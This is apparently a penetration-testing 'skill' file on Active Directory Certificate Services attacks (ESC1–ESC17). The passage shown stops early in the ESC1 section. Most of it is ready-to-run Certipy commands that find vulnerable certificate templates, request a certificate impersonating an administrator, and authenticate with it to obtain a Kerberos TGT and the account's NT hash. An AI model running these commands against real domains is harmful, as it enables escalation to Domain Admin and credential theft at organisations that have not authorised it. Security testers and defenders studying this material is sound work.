adcs-attacks

# AD CS Attacks (ESC1–ESC17) AD CS is the single richest privilege-escalation surface in modern AD. A misconfigured template or CA lets a low-privileged user obtain a certificate that authenticates as a Domain Admin. This skill uses **Certipy** (the `ly4k` project) throughout. You drive it by hand. The whole thing starts with one enumeration pass. Run it first, read the output, then pick the ESC that applies. ``` certipy find -u user@corp.local -p 'Password123' -dc-ip 10.0.0.10 -vulnerable -stdout ``` Certipy names each finding by its ESC number, so the tool's output tells you which of the below applies. Save the full JSON/BloodHound output for the report: ``` certipy find -u user@corp.local -p 'Password123' -dc-ip 10.0.0.10 -vulnerable -old-bloodhound ``` The generic exploitation pattern, once you know the template/CA: request a cert, then authenticate with it to recover an NT hash or a TGT. `-target` is the CA/enrollment host and must be an FQDN, not an IP. ``` certipy req -u user@corp.local -p 'Password123' -dc-ip 10.0.0.10 \ -target ca.corp.local -ca CORP-CA -template <VulnTemplate> [attack-specific flags] certipy auth -pfx administrator.pfx -domain corp.local ``` `certipy auth` performs PKINIT and hands you the TGT plus the NT hash of the impersonated account. If it errors with an object SID mismatch, add `-sid <target-SID>`. --- ## ESC1: Enrollee-supplied SAN (MOST COMMON) **What it checks.** A template where low-priv users can enroll, the template has an auth...